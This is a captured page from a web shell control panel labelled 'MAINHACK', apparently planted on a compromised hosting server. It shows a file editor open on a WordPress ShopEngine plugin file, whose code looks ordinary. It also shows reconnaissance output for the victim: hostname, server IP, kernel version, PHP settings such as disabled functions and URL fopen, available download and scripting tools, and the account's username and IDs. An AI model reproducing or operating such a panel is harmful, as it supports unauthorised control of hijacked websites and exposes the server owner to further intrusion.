[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: api.php
<?php namespace ShopEngine\Base; defined('ABSPATH') || exit; abstract class Api { public $prefix = ''; public $param = ''; public $request = null; public $only_admin = false; public $customer_only = false; abstract public function config(); public function __construct() { $this->config(); $this->init(); } public function init() { add_action('rest_api_init', function() { register_rest_route(untrailingslashit(\ShopEngine::SHOPENGINE_PREFIX.'/v1/' . $this->prefix), '/(?P<action>\w+)/' . ltrim($this->param, '/'), array( 'methods' => \WP_REST_Server::ALLMETHODS, 'callback' => [$this, 'action'], 'permission_callback' => function() { if($this->only_admin) { return current_user_can('edit_others_posts'); } if($this->customer_only) { return is_user_logged_in(); } return true; }, )); }); } public function action($request) { $this->request = $request; $action_class = strtolower($this->request->get_method()) . '_' . sanitize_key($this->request['action']); if(method_exists($this, $action_class)) { return $this->{$action_class}(); } } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium171.web-hosting.com
Server IP: 162.0.209.115
PHP Version: 8.0.30
Server Software: LiteSpeed
System: Linux premium171.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 71.28 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
No
pkexec:
No
git:
Yes
User Info
Username: aircyknj
User ID (UID): 2056
Group ID (GID): 2052
Script Owner UID: 2056
Current Dir Owner: 2056